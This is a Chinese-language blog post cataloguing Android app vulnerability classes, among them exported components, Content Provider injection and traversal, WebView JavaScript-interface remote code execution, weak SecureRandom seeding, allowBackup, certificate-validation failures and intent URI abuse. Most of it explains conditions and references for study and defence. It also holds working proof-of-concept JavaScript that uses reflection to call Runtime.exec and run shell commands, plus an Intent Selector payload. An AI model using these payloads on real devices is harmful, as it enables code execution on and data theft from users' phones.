Android APP 漏洞整理

作者: 半人前 | 来源:发表于2017-09-04 10:37 被阅读630次

    组件安全

    (1) 如果四大组件包含 intent-filter,那么系统认为这个组件可以被外部通过隐式调用,所以默认 export 为 true

    (2) 如果四大组件不包含 intent-filter,那么系统认为这个组件值只可以被内部通过显式调用,所以默认 export 为 false

    Activity

    权限

    Android 所有组件声明时可以通过指定 android:exported 属性值为 false,来设置组件不能被外部程序调用

    如果希望 Activity 能够被特定的程序访问,可以使用 android:permission 属性来指定一个权限字符串,如:

    <Activity android:name=".MyActivity"
           android:permission="com.test.permission.MyActivity">
           <intent-filter>
               <action android:name="com.test.action"></action>
           </intent-filter>
    </Activity>
    

    Broadcast

    假如使用 sendBroadcast() 发送广播,攻击者可以优先响应该实例发送的广播;假如使用 sendOrderedBroadcast() 发送,攻击者可以使用 abortBroadcast() 终止广播,BroadcastReceiver 实例可能永远无法收到自己发送的广播。

    关于优先级:动态注册的广播接收者比静态广播接收者的优先级高,静态广播接收者的优先级根据设置的 android:priority 属性的数值来决定,数值越大,优先级越高。

    Service

    同 Activity,设置权限防止被其它 app 启动/绑定/停止服务

    Content Provider

    权限

    API Level 低于 17 时,Content Provider 默认为公开

    SQL 注入

    传递给 Content Provider 的参数应该被视为不可信的

    目录遍历

    Android Content Provider 存在文件目录遍历安全漏洞,该漏洞源于对外暴露 Content Provider 组件的应用,没有对 Content Provider 组件的访问进行权限控制和对访问的目标文件的 Content Query Uri 进行有效判断,攻击者利用该应用暴露的 Content Provider 的 openFile() 接口进行文件目录遍历以达到访问任意可读文件的目的

    参考链接:

    http://blog.csdn.net/u013309870/article/details/69228125

    http://blog.csdn.net/jltxgcy/article/details/48312359

    https://jaq.alibaba.com/blog.htm?id=61

    Webview 远程代码执行

    CVE-2012-6636

    Android API level 16 以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用 WebView.addJavascriptInterface 方法,远程攻击者可通过使用Java Reflection API 利用该漏洞执行任意 Java 对象的方法

    影响范围

    系统版本低于 4.2 / API Level < 17

    利用条件

    1. 使用 addJavascriptInterface 方法注册可供 JavaScript 调用的 Java 对象

    2. 使用 WebView 加载外部网页或者本地网页

    3. 系统版本低于 4.2

    POC

    利用 addJavascriptInterface 方法注册可供JavaScript调用的 java 对象 “injectedObj”,利用反射机制调用 Android API sendTextMessage 来发送短信

    Java 代码:

    mWebView = new WebView(this);
    mWebView.getSettings().setJavaScriptEnabled(true);
    mWebView.addJavascriptInterface(this, "injectedObj");
    mWebView.loadUrl("file:///android_asset/www/index.html");
    

    JS 代码

    <html>
    <body>
    <script>
          function getContents(inputStream)
          {
            var i = 0;
            var contents = "";
            var b = inputStream.read();
            while(b != -1) {
                var bString = String.fromCharCode(b);
                contents += bString;
                contents += "\n"
                b = inputStream.read();
            }
            i=i+1;
            return contents;
           }
             function execute(cmdArgs)
             {
                 return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
             }
             var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
             document.write(getContents(res.getInputStream()));
           </script>
    </body>
    </html>
    

    CVE-2014-1939

    Android 系统中 webkit 中默认内置的一个 searchBoxJavaBridge_ 接口同时存在远程代码执行漏洞

    影响范围

    Android 4.0~4.3

    利用条件

    1. webkit 内核
    2. Android 4.0~4.3

    POC

    <html>
    <body>
    <script>
          function getContents(inputStream)
          {
            var i = 0;
            var contents = "";
            var b = inputStream.read();
            while(b != -1) {
                var bString = String.fromCharCode(b);
                contents += bString;
                contents += "\n"
                b = inputStream.read();
            }
            i=i+1;
            return contents;
           }
             function execute(cmdArgs)
             {
                 return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
             }
             var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
             document.write(getContents(res.getInputStream()));
           </script>
    </body>
    </html>
    

    参考链接

    https://jaq.alibaba.com/blog.htm?id=48

    SecureRandom 漏洞

    SecureRandom 随机性是通过它的 seed 来保证的。如果输入相同的 seed 会导致生成重复的随机数。SecureRandom 内部维护一个 internal random state,它生成随机数的方式具有确定性

    漏洞位置

    1. SecureRandom#SecureRandom(byte[] seed)
    2. SecureRandom#setSeed(long seed)
    3. SecureRandom#setSeed(byte[] seed)

    触发条件

    1. 调用 SecureRandom 类的构造函数 SecureRandom(byte[] seed)

      或者在生成随机数之前调用 setSeed(long seed)

      或者 setSeed(byte[] seed) 方法设置随机种子

    2. 系统版本低于 4.2

    参考链接

    https://jaq.alibaba.com/blog.htm?id=47

    AllowBackup

    在谷歌 2010 年发布 Android 2.2 Froyo (冻酸奶)系统中,谷歌引入一个了系统备份的功能,允许用户备份系统应用和第三方应用的 apk 安装包和应用数据,以便在刷机或者数据丢失后恢复应用。 第三方应用开发者需要在应用的 AndroidManifest.xml 文件中配置 allowBackup 标志(默认为 true )来设置应用数据是否能能够被备份或恢复。当这个标志被设置为 true 时应用程序数据可以在手机未获取 ROOT 的情况下通过 adb 调试工具来备份和恢复,这就允许恶意攻击者在接触用户手机的情况下在短时间内启动手机 USB 调试功能来窃取那些能够受到 AllowBackup 漏洞影响的应用的数据,造成用户隐私泄露甚至财产损失。

    参考链接

    http://www.droidsec.cn/%E8%AF%A6%E8%A7%A3android-app-allowbackup%E9%85%8D%E7%BD%AE%E5%B8%A6%E6%9D%A5%E7%9A%84%E9%A3%8E%E9%99%A9/

    WebView File 域同源策略绕过

    通过 WebView 对 Javascript 的延时执行和将当前 Html 文件删除掉并软连接指向其他文件就可以读取到被符号链接所指的文件,然后通过 JavaScript 再次读取 HTML 文件,即可获取到被符号链接所指的文件。

    利用条件

    1. 组件可导出
    2. WebView 没有禁止使用 file 域
    3. WebView 打开了对 JavaScript 的支持

    参考链接

    https://jaq.alibaba.com/blog.htm?id=62

    Android HTTPS 中间人劫持

    由于客户端没有校验服务端的证书,因此攻击者就能与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。在中间人攻击中,攻击者可以拦截通讯双方的通话并插入新的内容

    漏洞位置

    X509TrustManager 、HostnameVerifier 、 setHostnameVerifier (X509HostnameVerifier hostnameVerifier)

    触发条件

    自定义的 X509TrustManager 不校验证书
    或实现的自定义 HostnameVerifier 不校验域名接受任意域名
    或使用 setHostnameVerifier (ALLOW_ALL_HOSTNAME_VERIFIER)

    参考链接

    https://jaq.alibaba.com/blog.htm?id=60

    Android 应用本地拒绝服务漏洞

    Android应用本地拒绝服务漏洞源于程序没有对 Intent.getXXXExtra() 获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用 crash 的目的,简单的说就是攻击者通过 intent 发送空数据、异常或畸形数据给受害者应用,导致其崩溃。

    触发条件

    1. 组件可导出
    2. getIntent() 的 intent 附带空数据、异常或畸形数据
    3. 处理 getXXXExtra() 获取的数据时没有进行异常捕获

    参考链接

    https://jaq.alibaba.com/blog.htm?id=55

    URL Schema 安全

    Android 中可以通过点击网页内的某个链接打开 APP,或者在其它 APP 中通过点击某个链接打开另外一个 APP

    Custom Scheme URI 打开APP

    APP 获取到来自网页的数据后,生成一个新的 intent,然后发送给别的组件使用这些数据。比如使用 Webview 相关的 Activity 来加载一个来自网页的 url,如果此 url 来自url scheme 中的参数,如:jaq://jaq.alibaba.com?load_url=http://www.taobao.com

    如果在 APP 中没有检查获取到的 load_url 的值,攻击者就可以构造钓鱼网站,诱导用户点击

    Intent-based URI 打开 APP

    语法:

    intent:
    HOST/URI_path // Optioinal host
    #Intent;
    package=[string];
    action=[string];
    componet=[string];
    scheme=[string];
    end
    

    如果未配置 intent 过滤策略,则可将 payload 作为任意的参数放入 intent 中

    利用 Intent Selector

    Intent Selector 机制提供一种 main intent 不匹配的情况下可以设置替补的方案

    如:

    intent:#Intent;S.xxx=123; SEL;component=com.android.chrome/.xyz;end
    

    其中的 SEL 关键字就是设置了一个 component 为 com.android.chrome/.xyz 的 selector intent

    参考链接:

    https://jaq.alibaba.com/community/art/show?articleid=265

    http://blog.csdn.net/l173864930/article/details/36951805?spm=a313e.7916648.0.0.11b0b6cXNqLdb

    Shared Preferences 安全

    1. 使用 MODE_WORLD_READABLE 模式创建 Shared Preferences 文件,使得其他应用对该 Shared Preferences 文件具备可读的权限
    2. 使用 MODE_WORLD_WRITEABLE 模式创建 Shared Preferences 文件并含有 “android:sharedUserId” 属性值,使得其他应用对该应用的 Shared Preferences 文件具备可写的权限
    3. 在具备 root 权限的程序或用户对任何应用程序通过任意模式创建的的 Shared Preferences 文件都具有可读可写的权限

    UXSS 漏洞

    Android 4.4 前 webkit 存在

    参考链接

    https://security.tencent.com/index.php/blog/msg/70

    可重打包风险

    逻辑漏洞

    敏感信息硬编码

    数据传输安全

    代码篡改

    相关文章

      网友评论

        本文标题:Android APP 漏洞整理

        本文链接:https://www.haomeiwen.com/subject/hjnsjxtx.html